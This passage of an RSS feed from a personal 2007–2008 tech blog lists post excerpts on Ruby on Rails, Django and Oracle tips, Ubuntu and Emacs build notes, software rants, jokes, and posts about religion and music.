I guess it...<br /><br /><a href="http://destiney.com/blog/linux-today-pages-are-99-ads">http://destiney.com/blog/linux-today-pages-are-99-ads</a><br /><br /></description>
<pubDate>Thu, 01 May 2008 19:10:40 UTC</pubDate>
<guid>http://destiney.com/blog/linux-today-pages-are-99-ads</guid>
</item>
<item>
<title>Ode to Oracle RDBMS</title>
<link>http://destiney.com/blog/ode-to-oracle-rdbms</link>
<description>Oh Oracle, how do I love thee?

Let me count the ways:

-1, -2, -3..<br /><br /><a href="http://destiney.com/blog/ode-to-oracle-rdbms">http://destiney.com/blog/ode-to-oracle-rdbms</a><br /><br /></description>
<pubDate>Thu, 01 May 2008 14:23:10 UTC</pubDate>
<guid>http://destiney.com/blog/ode-to-oracle-rdbms</guid>
</item>
<item>
<title>Ubuntu 8.04 Hardy Heron First Impressions</title>
<link>http://destiney.com/blog/ubuntu-8-04-hardy-heron-first-impressions</link>
<description>

The Good:



Network Driver

My e1000 onboard network hardware was autodetected, unlike any previous Ubuntu releases.  Up to now I had been using a 3com 3c59x card I borrowed from a sysadmin down the hall.  Now I can give it back.

Yes, I'm aware I could have compiled a new kernel.  Honestly I think my days of building kernels are pretty much over.  I'm more into getting...<br /><br /><a href="http://destiney.com/blog/ubuntu-8-04-hardy-heron-first-impressions">http://destiney.com/blog/ubuntu-8-04-hardy-heron-first-impressions</a><br /><br /></description>
<pubDate>Mon, 28 Apr 2008 20:08:43 UTC</pubDate>
<guid>http://destiney.com/blog/ubuntu-8-04-hardy-heron-first-impressions</guid>
</item>
<item>
<title>Zend Framework, &quot;Web 2.0 Framework&quot; My Ass!</title>
<link>http://destiney.com/blog/zend-framework-web-2-0-framework-my-ass</link>
<description>

Motivation

digg_url = 'http://digg.com/programming/Web_2_0_Framework_My_Ass';I am writing this to inform web developers of my experience with Zend Framework so they can choose wisely when shopping for a MVC &quot;framework&quot; to use with their next &quot;big project&quot;.  I feel Zend Framework is a lost cause and a complete waste of time to learn and to use.  I hope to help other developers...<br /><br /><a href="http://destiney.com/blog/zend-framework-web-2-0-framework-my-ass">http://destiney.com/blog/zend-framework-web-2-0-framework-my-ass</a><br /><br /></description>
<pubDate>Sun, 27 Apr 2008 19:51:13 UTC</pubDate>
<guid>http://destiney.com/blog/zend-framework-web-2-0-framework-my-ass</guid>
</item>
<item>
<title>Only creationists don't understand why people laugh at creationists..</title>
<link>http://destiney.com/blog/only-creationists-don-t-understand-why-people-laugh-at-creationists</link>
<description>Clearly one of the best rebuttals I've heard up to now:

<br /><br /><a href="http://destiney.com/blog/only-creationists-don-t-understand-why-people-laugh-at-creationists">http://destiney.com/blog/only-creationists-don-t-understand-why-people-laugh-at-creationists</a><br /><br /></description>
<pubDate>Wed, 23 Apr 2008 19:06:51 UTC</pubDate>
<guid>http://destiney.com/blog/only-creationists-don-t-understand-why-people-laugh-at-creationists</guid>
</item>
<item>
<title>Ruby on Rails HTML link helper</title>
<link>http://destiney.com/blog/ruby-rails-html-link-helper</link>
<description>Sometimes you might want to link up any html links from a string of text:


def make_links( str )
  regex = Regexp.new '(https?:\/\/([-\w\.]+)+(:\d+)?(\/([\w\/_\.]*(\?\S+)?)?)?)'
  str.gsub( regex, '&amp;lt;a href=&amp;quot;\1&amp;quot;&amp;gt;\1&amp;lt;/a&amp;gt;' )
end

<br /><br /><a href="http://destiney.com/blog/ruby-rails-html-link-helper">http://destiney.com/blog/ruby-rails-html-link-helper</a><br /><br /></description>
<pubDate>Sun, 20 Apr 2008 14:17:04 UTC</pubDate>
<guid>http://destiney.com/blog/ruby-rails-html-link-helper</guid>
</item>
<item>
<title>Earthquake at 4:37am</title>
<link>http://destiney.com/blog/earthquake-at-4-37am</link>
<description>There's nothing quite like being woken up, thinking you're about to die..

Early this morning I woke to the sound of rattling windows, doors, and furniture next to walls.  A few seconds later (an eternity at 4:37am) the rattle became a really intense shake just before it stopped completely.

In 35 years of living in or near Nashville, TN, I don't recall ever having any earthquak...<br /><br /><a href="http://destiney.com/blog/earthquake-at-4-37am">http://destiney.com/blog/earthquake-at-4-37am</a><br /><br /></description>
<pubDate>Fri, 18 Apr 2008 09:12:39 UTC</pubDate>
<guid>http://destiney.com/blog/earthquake-at-4-37am</guid>
</item>
<item>
<title>Christopher Hitchens Recommended Books</title>
<link>http://destiney.com/blog/christopher-hitchens-recommended-books</link>
<description>This is a pretty good list I have to say:

http://www.buildupthatwall.com/recommended.html

Enjoy!  (or not)<br /><br /><a href="http://destiney.com/blog/christopher-hitchens-recommended-books">http://destiney.com/blog/christopher-hitchens-recommended-books</a><br /><br /></description>
<pubDate>Wed, 09 Apr 2008 22:16:49 UTC</pubDate>
<guid>http://destiney.com/blog/christopher-hitchens-recommended-books</guid>
</item>
<item>
<title>Oracle's Silly Sequence Cache</title>
<link>http://destiney.com/blog/oracle-s-silly-sequence-cache</link>
<description>The more I use Oracle the more I appreciate the lightweight nature of MySQL and even PostgreSQL for that matter.  Right tool for the right job I guess  :)

My latest Oracle issue seemed fairly odd at first.  The issue was that I needed sequential numbers from my sequence, but Oracle was giving them to me in what seemed to be blocks of 20 at a time.  Instead of 1.. 2.. 3.. 4, it wo...<br /><br /><a href="http://destiney.com/blog/oracle-s-silly-sequence-cache">http://destiney.com/blog/oracle-s-silly-sequence-cache</a><br /><br /></description>
<pubDate>Wed, 09 Apr 2008 13:20:28 UTC</pubDate>
<guid>http://destiney.com/blog/oracle-s-silly-sequence-cache</guid>
</item>
<item>
<title>Two Rivers Ford in Nashville, TN are crooks</title>
<link>http://destiney.com/blog/two-rivers-ford-in-nashville-tn-are-crooks</link>
<description>Last week I called Two Rivers Ford Service Center to find out how much my 30K mile service would be.  I knew it wasn't going to be cheap but I needed to get it done.  The guy I spoke with asked me the make and model and I told him.  He quoted me a price of $349.95 + tax.  I said thanks and hung up the phone.  I calculated the sales tax and found I needed to budget about $385 for the...<br /><br /><a href="http://destiney.com/blog/two-rivers-ford-in-nashville-tn-are-crooks">http://destiney.com/blog/two-rivers-ford-in-nashville-tn-are-crooks</a><br /><br /></description>
<pubDate>Sat, 05 Apr 2008 15:19:00 UTC</pubDate>
<guid>http://destiney.com/blog/two-rivers-ford-in-nashville-tn-are-crooks</guid>
</item>
<item>
<title>Microsoft Windows 7 Exclusive Rebuttal</title>
<link>http://destiney.com/blog/microsoft-windows-7-exclusive-rebuttal</link>
<description>I came across this article today:

http://thebetaguy.com/exclusives/?postid=1029344029...

This guy doesn't understand, when he says:


Competitors complained that offering internet and media solutions with
the operating system harmed competition in the marketplace (despite
other operating systems such as Mac OS X and Linux apparently being
immune from such criticism).

...<br /><br /><a href="http://destiney.com/blog/microsoft-windows-7-exclusive-rebuttal">http://destiney.com/blog/microsoft-windows-7-exclusive-rebuttal</a><br /><br /></description>
<pubDate>Fri, 04 Apr 2008 14:49:01 UTC</pubDate>
<guid>http://destiney.com/blog/microsoft-windows-7-exclusive-rebuttal</guid>
</item>
<item>
<title>April Fool's Day 2008</title>
<link>http://destiney.com/blog/april-fool-s-day-2008</link>
<description>This year's internet-based April Fool's jokes were a complete let-down.  Google did something with time-based emails. *yawn* Digg made symbols appear instead of numbers when you would digg an article.  Wowhead.com turned their page white instead of black and worst of all World of Warcraft has been down since lunchtime when I first tried it.  What a depressing day.  I can't even find...<br /><br /><a href="http://destiney.com/blog/april-fool-s-day-2008">http://destiney.com/blog/april-fool-s-day-2008</a><br /><br /></description>
<pubDate>Tue, 01 Apr 2008 17:46:51 UTC</pubDate>
<guid>http://destiney.com/blog/april-fool-s-day-2008</guid>
</item>
<item>
<title>Apparently no one even writes original music anymore..</title>
<link>http://destiney.com/blog/apparently-no-one-even-writes-original-music-anymore</link>
<description>Hank III &amp;amp; Assjack covered Hank William Sr's &amp;quot;Tennessee Driver&amp;quot; heavy metal style.  You can hear it here:

http://www.myspace.com/hank3

The intro is clearly stolen from Metallica's cover of Diamond Head's &amp;quot;Am I Evil&amp;quot; intro.

Apparently no one even writes original music anymore..<br /><br /><a href="http://destiney.com/blog/apparently-no-one-even-writes-original-music-anymore">http://destiney.com/blog/apparently-no-one-even-writes-original-music-anymore</a><br /><br /></description>
<pubDate>Sun, 23 Mar 2008 14:35:16 UTC</pubDate>
<guid>http://destiney.com/blog/apparently-no-one-even-writes-original-music-anymore</guid>
</item>
<item>
<title>Stop it, you're killing me..</title>
<link>http://destiney.com/blog/stop-it-you-re-killing-me</link>
<description>Regressions were apparently lower than usual (not), so time was invested in a cool &amp;quot;name&amp;quot; for the latest -rc release:


Alan Cox  to Linux, torvalds
&gt; NAME = Funky Weasel is Jiggy wit it

Typo ??


Hehe..<br /><br /><a href="http://destiney.com/blog/stop-it-you-re-killing-me">http://destiney.com/blog/stop-it-you-re-killing-me</a><br /><br /></description>
<pubDate>Mon, 10 Mar 2008 10:22:51 UTC</pubDate>
<guid>http://destiney.com/blog/stop-it-you-re-killing-me</guid>
</item>
<item>
<title>Get previous integer in Ruby</title>
<link>http://destiney.com/blog/get-previous-integer-in-ruby</link>
<description>There's a next and succ that do the same thing, but sadly Ruby has no prev.  Here how you can add it:


class Integer
  def prev
    self - 1
  end
end

&amp;gt; irb
&amp;gt;&amp;gt; 1.prev
=&amp;gt; 0
&amp;gt;&amp;gt; 2.prev
=&amp;gt; 1
<br /><br /><a href="http://destiney.com/blog/get-previous-integer-in-ruby">http://destiney.com/blog/get-previous-integer-in-ruby</a><br /><br /></description>
<pubDate>Fri, 01 Feb 2008 20:59:44 UTC</pubDate>
<guid>http://destiney.com/blog/get-previous-integer-in-ruby</guid>
</item>
<item>
<title>RailsDB 0.2</title>
<link>http://destiney.com/blog/railsdb-0-2</link>
<description>I've just released a new version of RailsDB.  I've made improvements to table management, error handling, and database connections.

Check it out.
<br /><br /><a href="http://destiney.com/blog/railsdb-0-2">http://destiney.com/blog/railsdb-0-2</a><br /><br /></description>
<pubDate>Sun, 20 Jan 2008 19:09:36 UTC</pubDate>
<guid>http://destiney.com/blog/railsdb-0-2</guid>
</item>
<item>
<title>Play with Perl6 on Mac OS X Leopard</title>
<link>http://destiney.com/blog/play-with-perl6-mac-os-x-leopard</link>
<description>Perl6 hasn't been released yet, but you can play with it all the same.  It's a very interesting piece of work and I recommend you check it out, even if you're like me and don't do much Perl.

First checkout the latest Parrot source code using Subversion:


svn co https://svn.perl.org/parrot/trunk parrot


Run the configure script, then compile Parrot using make:


perl Co...<br /><br /><a href="http://destiney.com/blog/play-with-perl6-mac-os-x-leopard">http://destiney.com/blog/play-with-perl6-mac-os-x-leopard</a><br /><br /></description>
<pubDate>Tue, 08 Jan 2008 21:41:34 UTC</pubDate>
<guid>http://destiney.com/blog/play-with-perl6-mac-os-x-leopard</guid>
</item>
<item>
<title>ActionController::InvalidAuthenticityToken with observe_field</title>
<link>http://destiney.com/blog/actioncontroller-invalidauthenticitytoken-with-observe-field</link>
<description>I found another Rails 2.x gotcha.  Seems one is required to add a form_authenticity_token to observe_field manually, otherwise you get ActionController::InvalidAuthenticityToken in production mode.


&amp;lt;%= observe_field 'search_term',
                  :frequency =&amp;gt; 0.5,
                  :update    =&amp;gt; 'target_id',
                  :url       =&amp;gt; { :controller       ...<br /><br /><a href="http://destiney.com/blog/actioncontroller-invalidauthenticitytoken-with-observe-field">http://destiney.com/blog/actioncontroller-invalidauthenticitytoken-with-observe-field</a><br /><br /></description>
<pubDate>Mon, 31 Dec 2007 19:03:02 UTC</pubDate>
<guid>http://destiney.com/blog/actioncontroller-invalidauthenticitytoken-with-observe-field</guid>
</item>
<item>
<title>Cats are Macbook Pro users too!</title>
<link>http://destiney.com/blog/cats-are-macbook-pro-users-too</link>
<description>At some point I've caught all but one of my cats sleeping on my Macbook Pro.  It's toasty warm for napping.

Tiger:



Sheeba:



Pepper:



Cloey:

<br /><br /><a href="http://destiney.com/blog/cats-are-macbook-pro-users-too">http://destiney.com/blog/cats-are-macbook-pro-users-too</a><br /><br /></description>
<pubDate>Thu, 06 Dec 2007 21:27:22 UTC</pubDate>
<guid>http://destiney.com/blog/cats-are-macbook-pro-users-too</guid>
</item>
<item>
<title>Gmail Crashes Firefox</title>
<link>http://destiney.com/blog/gmail-crashes-firefox</link>
<description>Dear Google,

Please fix Gmail so it no longer crashes my Firefox.

Thanks,

gdonald@gmail.com
<br /><br /><a href="http://destiney.com/blog/gmail-crashes-firefox">http://destiney.com/blog/gmail-crashes-firefox</a><br /><br /></description>
<pubDate>Tue, 04 Dec 2007 14:07:34 UTC</pubDate>
<guid>http://destiney.com/blog/gmail-crashes-firefox</guid>
</item>
<item>
<title>Clean your Ruby on Rails ActiveRecords automatically</title>
<link>http://destiney.com/blog/clean-your-ruby-rails-activerecords-automatically</link>
<description>Let's say you need to make your Rails app have a field for users to put stuff in.  Dangerous huh?  The open nature of Ruby makes it simple to cleanup:


app/model/cleaner.rb:
---------------------
module Cleaner
  def self.append_features( base )
    base.before_save do |model|
      model.html = model.html.gsub( /&amp;lt;(.|\n)*?&amp;gt;/, '' )\
        if model.respond_to?( :html...<br /><br /><a href="http://destiney.com/blog/clean-your-ruby-rails-activerecords-automatically">http://destiney.com/blog/clean-your-ruby-rails-activerecords-automatically</a><br /><br /></description>
<pubDate>Wed, 28 Nov 2007 21:17:26 UTC</pubDate>
<guid>http://destiney.com/blog/clean-your-ruby-rails-activerecords-automatically</guid>
</item>
<item>
<title>Oracle needed an enema</title>
<link>http://destiney.com/blog/oracle-needed-an-enema</link>
<description>Are you using Oracle with Ruby on Rails?  The Oracle 10g (or so) version that has the new recyclebin feature?  If so, you might have run into this problem I had recently.

My problem was just a simple slowness experienced when running a deployment over SSH using Capistrano.  As I worked on my application for several months, the deployment was getting slower and slower.

To diagn...<br /><br /><a href="http://destiney.com/blog/oracle-needed-an-enema">http://destiney.com/blog/oracle-needed-an-enema</a><br /><br /></description>
<pubDate>Wed, 28 Nov 2007 20:21:36 UTC</pubDate>
<guid>http://destiney.com/blog/oracle-needed-an-enema</guid>
</item>
<item>
<title>Build the latest Emacs on Mac OS X Leopard</title>
<link>http://destiney.com/blog/build-the-latest-emacs-mac-os-x-leopard</link>
<description>I use MacPorts. So first I install some dependencies Emacs will build against:


port install ncurses texinfo


That takes a few minutes.

Next, get the latest Emacs from CVS:


cd
cvs -z3 -d:pserver:anonymous@cvs.savannah.gnu.org:/sources/emacs co emacs
cd emacs


Next, configure the build:

For a console version:


./configure --without-carbon --without-x

...<br /><br /><a href="http://destiney.com/blog/build-the-latest-emacs-mac-os-x-leopard">http://destiney.com/blog/build-the-latest-emacs-mac-os-x-leopard</a><br /><br /></description>
<pubDate>Sat, 10 Nov 2007 12:33:40 UTC</pubDate>
<guid>http://destiney.com/blog/build-the-latest-emacs-mac-os-x-leopard</guid>
</item>
<item>
<title>Andrew Morton wants logs, good ones</title>
<link>http://destiney.com/blog/andrew-morton-wants-logs-good-ones</link>
<description>I don't know why I find this funny..

Andrew Morton didn't like this one patch from Nick Piggin today and said:


So in my opinion this submission isn't of sufficient quality
to be included in Linux.

IOW: please write changelogs.  Preferably good ones.
<br /><br /><a href="http://destiney.com/blog/andrew-morton-wants-logs-good-ones">http://destiney.com/blog/andrew-morton-wants-logs-good-ones</a><br /><br /></description>
<pubDate>Wed, 24 Oct 2007 21:21:22 UTC</pubDate>
<guid>http://destiney.com/blog/andrew-morton-wants-logs-good-ones</guid>
</item>
<item>
<title>Warlock Macros</title>
<link>http://destiney.com/blog/warlock-macros</link>
<description>These were a complete pain to find today after reinstalling World of Warcraft:


/petattack
/cast Attack
<br /><br /><a href="http://destiney.com/blog/warlock-macros">http://destiney.com/blog/warlock-macros</a><br /><br /></description>
<pubDate>Sun, 07 Oct 2007 11:29:29 UTC</pubDate>
<guid>http://destiney.com/blog/warlock-macros</guid>
</item>
<item>
<title>vger.kernel.org</title>
<link>http://destiney.com/blog/vger-kernel-org</link>
<description>Today Linus found a bug and then commented on how a particular version of gcc Ingo was using was creating some very broken assembly.  Alan Cox reminded Linus how the code generated was not illegal per the posix specs but was indeed broken as stated.  Later the conversation digressed a bit: 


On Wed, 3 Oct 2007, Jan Engelhardt wrote:
&gt; &gt; When I'm ruler of the universe, it *will*...<br /><br /><a href="http://destiney.com/blog/vger-kernel-org">http://destiney.com/blog/vger-kernel-org</a><br /><br /></description>
<pubDate>Wed, 03 Oct 2007 14:29:31 UTC</pubDate>
<guid>http://destiney.com/blog/vger-kernel-org</guid>
</item>
<item>
<title>The Atheist Delusion</title>
<link>http://destiney.com/blog/the-atheist-delusion</link>
<description>Sorta aged but still kinda funny to watch

http://www.glumbert.com/media/atheistdelusion<br /><br /><a href="http://destiney.com/blog/the-atheist-delusion">http://destiney.com/blog/the-atheist-delusion</a><br /><br /></description>
<pubDate>Sun, 23 Sep 2007 22:53:54 UTC</pubDate>
<guid>http://destiney.com/blog/the-atheist-delusion</guid>
</item>
<item>
<title>Oracle database.yml</title>
<link>http://destiney.com/blog/oracle-database-yml</link>
<description>I must have read 7 or 8 wrong versions of this file syntax before finding an accurate how-to.  I'm posting this code for future reference.


development:
  adapter: oracle
  database: 127.0.0.1/XE
  host:
  username: rails
  password: changeme

test:
  adapter: oracle
  database: 127.0.0.1/XE
  host:
  username: rails_test
  password: changeme

production:
  adapte...<br /><br /><a href="http://destiney.com/blog/oracle-database-yml">http://destiney.com/blog/oracle-database-yml</a><br /><br /></description>
<pubDate>Sun, 16 Sep 2007 12:12:11 UTC</pubDate>
<guid>http://destiney.com/blog/oracle-database-yml</guid>
</item>
<item>
<title>Kernel Hacker's Prayer</title>
<link>http://destiney.com/blog/kernel-hacker-s-prayer</link>
<description>Our OS who art in CPU,
Linux be thy name.
Thy programs run, thy syscalls done,
In kernel as it is in user!<br /><br /><a href="http://destiney.com/blog/kernel-hacker-s-prayer">http://destiney.com/blog/kernel-hacker-s-prayer</a><br /><br /></description>
<pubDate>Thu, 16 Aug 2007 15:09:27 UTC</pubDate>
<guid>http://destiney.com/blog/kernel-hacker-s-prayer</guid>
</item>
<item>
<title>Bill Nye refutes Genesis 1:16</title>
<link>http://destiney.com/blog/bill-nye-refutes-genesis-1-16</link>
<description>Gen 1:16

And God made two great lights; the greater light to rule the day, and the lesser light to rule the night: [he made] the stars also.

But then Bill Nye reminded us the moon is not an actual light source.  The moon's light is a reflection of the sun's light.

Seems as if God really only made one great light along with a dead rock that can reflect light.

And I'm supp...<br /><br /><a href="http://destiney.com/blog/bill-nye-refutes-genesis-1-16">http://destiney.com/blog/bill-nye-refutes-genesis-1-16</a><br /><br /></description>
<pubDate>Mon, 13 Aug 2007 21:03:19 UTC</pubDate>
<guid>http://destiney.com/blog/bill-nye-refutes-genesis-1-16</guid>
</item>
<item>
<title>Canceling My Kid's Disney &quot;Toon Town&quot; Account</title>
<link>http://destiney.com/blog/canceling-my-kid-s-disney-toon-town-account</link>
<description>Canceling an online account has become a real pain in the ass over the years.  I know everyone has heard the story of the poor AOL user and the hell he went through to cancel his dial up account that time.  I just had a very similar experience trying to cancel my daughter's Disney.com &quot;Toon Town&quot; account.

I noticed I never saw her playing the game anymore, so I asked if I should ...<br /><br /><a href="http://destiney.com/blog/canceling-my-kid-s-disney-toon-town-account">http://destiney.com/blog/canceling-my-kid-s-disney-toon-town-account</a><br /><br /></description>
<pubDate>Sat, 04 Aug 2007 21:03:34 UTC</pubDate>
<guid>http://destiney.com/blog/canceling-my-kid-s-disney-toon-town-account</guid>
</item>
<item>
<title>Rabbit Breakout</title>
<link>http://destiney.com/blog/rabbit-breakout</link>
<description>Three rabbits escape from a testing lab and find an entire field full of carrots. They eat themselves into a stupor and sleep throughout the night. The next morning, they find an entire field full of female rabbits with no males in sight. They screw themselves into a stupor and sleep throughout the night. The next morning, the rabbits get to talking.

&quot;I'm gonna go back to that fi...<br /><br /><a href="http://destiney.com/blog/rabbit-breakout">http://destiney.com/blog/rabbit-breakout</a><br /><br /></description>
<pubDate>Thu, 21 Jun 2007 01:51:12 UTC</pubDate>
<guid>http://destiney.com/blog/rabbit-breakout</guid>
</item>
<item>
<title>SEO Techniques</title>
<link>http://destiney.com/blog/seo-techniques</link>
<description>Finding a good Nashville SEO Company is simple.  Landing a good spot for specific Google keywords or phrases is a whole other matter.

Being an SEO expert myself, I find the best search engine placement requires the best searchable content.  There's no real secret.  If you're content is poor, your ranking will usually assume the same fate.

I noticed Destiney.com is ranking very...<br /><br /><a href="http://destiney.com/blog/seo-techniques">http://destiney.com/blog/seo-techniques</a><br /><br /></description>
<pubDate>Tue, 12 Jun 2007 04:23:38 UTC</pubDate>
<guid>http://destiney.com/blog/seo-techniques</guid>
</item>
<item>
<title>Slayer's &quot;Cult&quot; Religion</title>
<link>http://destiney.com/blog/slayer-s-cult-religion</link>
<description>These lyrics are exactly why Slayer is my favorite band:

http://www.oldielyrics.com/lyrics/slayer/cult.html



Allow me to describe a few points of interest:


Oppression is the holy law
In God I distrust
In time His monuments will fall
Like ashes to dust
Is war and greed the masters plan?
The bible's where it all began
Its propaganda sells despair
And spreads the v...<br /><br /><a href="http://destiney.com/blog/slayer-s-cult-religion">http://destiney.com/blog/slayer-s-cult-religion</a><br /><br /></description>
<pubDate>Fri, 25 May 2007 22:28:17 UTC</pubDate>
<guid>http://destiney.com/blog/slayer-s-cult-religion</guid>
</item>
<item>
<title>RSS Ripper</title>
<link>http://destiney.com/blog/rss-ripper</link>
<description>I wrote a simple RSS feed parser.  It takes an RSS feed such as the one from Digg.com and parses through it making improvements.  It then writes out a new file and lets you upload it to your FTP server for republishing.

With Digg.com's RSS feed you always have to visit Digg.com to get the URL for the actual content you want.  Since the pages I want aren't even owned by Digg.com I...<br /><br /><a href="http://destiney.com/blog/rss-ripper">http://destiney.com/blog/rss-ripper</a><br /><br /></description>
<pubDate>Thu, 24 May 2007 00:27:25 UTC</pubDate>
<guid>http://destiney.com/blog/rss-ripper</guid>
</item>
<item>
<title>Microsoft sucks and here's why</title>
<link>http://destiney.com/blog/microsoft-sucks-here-s-why</link>
<description>1. The virus and malware protection racket - M$ spent billions of
dollars and several years making Vista and just like normal it's fully
exploitable and insecure.  Vista currently has 22 critical exploits
listed at securityfocus.com and it's only been out how long?  If 22
security researchers are willing to publicly give up their findings do
you have any clue how many are keepi...<br /><br /><a href="http://destiney.com/blog/microsoft-sucks-here-s-why">http://destiney.com/blog/microsoft-sucks-here-s-why</a><br /><br /></description>
<pubDate>Thu, 17 May 2007 18:33:58 UTC</pubDate>
<guid>http://destiney.com/blog/microsoft-sucks-here-s-why</guid>
</item>
<item>
<title>Lipo Wrapper</title>
<link>http://destiney.com/blog/lipo-wrapper</link>
<description>I've written a little something in Python to help shrink extra fluff from your Mac OS X Universal binaries.  Enjoy.<br /><br /><a href="http://destiney.com/blog/lipo-wrapper">http://destiney.com/blog/lipo-wrapper</a><br /><br /></description>
<pubDate>Wed, 16 May 2007 02:52:34 UTC</pubDate>
<guid>http://destiney.com/blog/lipo-wrapper</guid>
</item>
<item>
<title>Linux Kernel List</title>
<link>http://destiney.com/blog/linux-kernel-list</link>
<description>Q. Why are you subscribed to the Linux Kernel list serv, you're not a kernel hacker are you?

A. Nope, but I love to see Christoph Hellwig slam wanna-be kernel hackers.<br /><br /><a href="http://destiney.com/blog/linux-kernel-list">http://destiney.com/blog/linux-kernel-list</a><br /><br /></description>
<pubDate>Wed, 02 May 2007 20:22:18 UTC</pubDate>
<guid>http://destiney.com/blog/linux-kernel-list</guid>
</item>
<item>
<title>Dear Microsoft, IE7 sucks</title>
<link>http://destiney.com/blog/dear-microsoft-ie7-sucks</link>
<description>Dear Microsoft,

Please, just stop making software altogether.   Stick to games or something where you're not directly involving me, as a web developer, in your madness.  You've proven again and again that you are not very good at making software.  How many years did you spend developing this new Vista OS?  How many billions of dollars were spent?  This IE7 monstrosity is what you...<br /><br /><a href="http://destiney.com/blog/dear-microsoft-ie7-sucks">http://destiney.com/blog/dear-microsoft-ie7-sucks</a><br /><br /></description>
<pubDate>Tue, 20 Mar 2007 02:35:39 UTC</pubDate>
<guid>http://destiney.com/blog/dear-microsoft-ie7-sucks</guid>
</item>
<item>
<title>Django's missing join model</title>
<link>http://destiney.com/blog/django-s-missing-join-model</link>
<description>Django has no sense of a join model.  Sure, you get a join table but it's unaware of connecting models.  The specific issue this missing features causes me is that I can't (automatically) add an extra field in the join table Django creates for me.  For example, this is illegal:


class Item(models.Model):
   name = models.CharField(maxlength=32)
class List(models.Model):
   na...<br /><br /><a href="http://destiney.com/blog/django-s-missing-join-model">http://destiney.com/blog/django-s-missing-join-model</a><br /><br /></description>
<pubDate>Fri, 09 Mar 2007 22:53:00 UTC</pubDate>
<guid>http://destiney.com/blog/django-s-missing-join-model</guid>
</item>
<item>
<title>Django Apache vhost</title>
<link>http://destiney.com/blog/django-apache-vhost</link>
<description>I thought someone else may need a complete working example, all in one chunk of code:


&amp;lt;VirtualHost 127.0.0.1&amp;gt;
  ServerName mysite
  &amp;lt;Location /&amp;gt;
    SetHandler python-program
    PythonHandler django.core.handlers.modpython
    PythonPath &amp;quot;[ '/Users/destiney/django' ] + sys.path&amp;quot;
    SetEnv DJANGO_SETTINGS_MODULE mysite.settings
    SetEnv PYTHON_EG...<br /><br /><a href="http://destiney.com/blog/django-apache-vhost">http://destiney.com/blog/django-apache-vhost</a><br /><br /></description>
<pubDate>Sun, 04 Mar 2007 17:00:56 UTC</pubDate>
<guid>http://destiney.com/blog/django-apache-vhost</guid>
</item>
<item>
<title>ESR dumps Fedora, yay!</title>
<link>http://destiney.com/blog/esr-dumps-fedora-yay</link>
<description>Eric S. Raymond (ESR) is a one of my favorite open source characters.  I say &amp;quot;character&amp;quot; because the open source community and it's politics can seem like a bit of a soap opera at times.  Linus said so-and-so about Gnome, or RMS revised the soon to be GPLv3 (again), etc.

ESR calls it like he sees it, everytime.  With so much crap on the 'net, that is something to be res...<br /><br /><a href="http://destiney.com/blog/esr-dumps-fedora-yay">http://destiney.com/blog/esr-dumps-fedora-yay</a><br /><br /></description>
<pubDate>Wed, 21 Feb 2007 22:40:58 UTC</pubDate>
<guid>http://destiney.com/blog/esr-dumps-fedora-yay</guid>
</item>
<item>
<title>Rubyonrails get public actions from a controller</title>
<link>http://destiney.com/blog/rubyonrails-get-public-actions-from-a-controller</link>
<description>If you tuned in last week, I was blog'n about getting a list of controllers in a Rubyonrails project.  Here's something I wrote to get the list of actions for a specific conroller, I keep it in a helper file:


# c = controller
# s = selected
def get_action_options( c, s='' )
  str = '&amp;lt;option value=&amp;quot;&amp;quot;&amp;gt;&amp;lt;/option&amp;gt;'
  file = RAILS_ROOT + &amp;quot;/app/controlle...<br /><br /><a href="http://destiney.com/blog/rubyonrails-get-public-actions-from-a-controller">http://destiney.com/blog/rubyonrails-get-public-actions-from-a-controller</a><br /><br /></description>
<pubDate>Thu, 15 Feb 2007 00:36:26 UTC</pubDate>
<guid>http://destiney.com/blog/rubyonrails-get-public-actions-from-a-controller</guid>
</item>
<item>
<title>Rubyonrails model and controller lists:</title>
<link>http://destiney.com/blog/rubyonrails-model-controller-lists</link>
<description>In your Rubyonrails app you may at some point need a list of all your controllers, here's how I do it:


def get_controllers
  controllers = []
  glob = RAILS_ROOT + '/app/controllers/*_controller.rb'
  Dir.glob(glob).each do |f|
    file = File.basename(f).gsub( /^(.+)_controller.rb/, '\1')
    controllers &amp;lt;&amp;lt; file
  end
  controllers
end


Getting a list of all ...<br /><br /><a href="http://destiney.com/blog/rubyonrails-model-controller-lists">http://destiney.com/blog/rubyonrails-model-controller-lists</a><br /><br /></description>
<pubDate>Tue, 06 Feb 2007 19:47:49 UTC</pubDate>
<guid>http://destiney.com/blog/rubyonrails-model-controller-lists</guid>
</item>
<item>
<title>Hating XML is only human</title>
<link>http://destiney.com/blog/hating-xml-is-only-human</link>
<description>While using XML I often find it is too difficult to mentally task-switch between thinking about the meaning of the data and mentally parsing the XML.  XML is not to be read by humans and is probably a bad choice for anything but the smallest of tasks, regardless of the parsing benefits.<br /><br /><a href="http://destiney.com/blog/hating-xml-is-only-human">http://destiney.com/blog/hating-xml-is-only-human</a><br /><br /></description>
<pubDate>Tue, 06 Feb 2007 05:10:43 UTC</pubDate>
<guid>http://destiney.com/blog/hating-xml-is-only-human</guid>
</item>
<item>
<title>Clean Rubyonrails DB Sessions Filter</title>
<link>http://destiney.com/blog/clean-rubyonrails-db-sessions-filter</link>
<description>There's quite a few methods floating around the 'net on how to cleanup old sessions from your database.  I think using cron is a good last resort but my prefered way is to let natural server usage do it instead:


class ApplicationController &amp;lt; ActionController::Base

  before_filter :clean

  def clean
    ActiveRecord::Base.connection.execute( &amp;quot;
      DELETE FROM s...<br /><br /><a href="http://destiney.com/blog/clean-rubyonrails-db-sessions-filter">http://destiney.com/blog/clean-rubyonrails-db-sessions-filter</a><br /><br /></description>
<pubDate>Sat, 27 Jan 2007 23:19:36 UTC</pubDate>
<guid>http://destiney.com/blog/clean-rubyonrails-db-sessions-filter</guid>
</item>
<item>
<title>Tom and Richard, Two Peas in a Pod</title>
<link>http://destiney.com/blog/tom-richard-two-peas-in-a-pod</link>
<description>

  
  
  
    Slayer's Tom Arraya
    Richard Dawkins, PhD
  
  
    
    
  
  
    &amp;quot;I reject all the biblical views of the truth, dismiss it as the folklore of the times.. I won't be force fed prophecies from a book of untruths for the weakened mind&amp;quot;
    &amp;lt;- W0rd..
  
  
    
    
  
  
  

<br /><br /><a href="http://destiney.com/blog/tom-richard-two-peas-in-a-pod">http://destiney.com/blog/tom-richard-two-peas-in-a-pod</a><br /><br /></description>
<pubDate>Sat, 27 Jan 2007 19:39:20 UTC</pubDate>
<guid>http://destiney.com/blog/tom-richard-two-peas-in-a-pod</guid>
</item>
<item>
<title>Gentoo Linux stuff</title>
<link>http://destiney.com/blog/gentoo-linux-stuff</link>
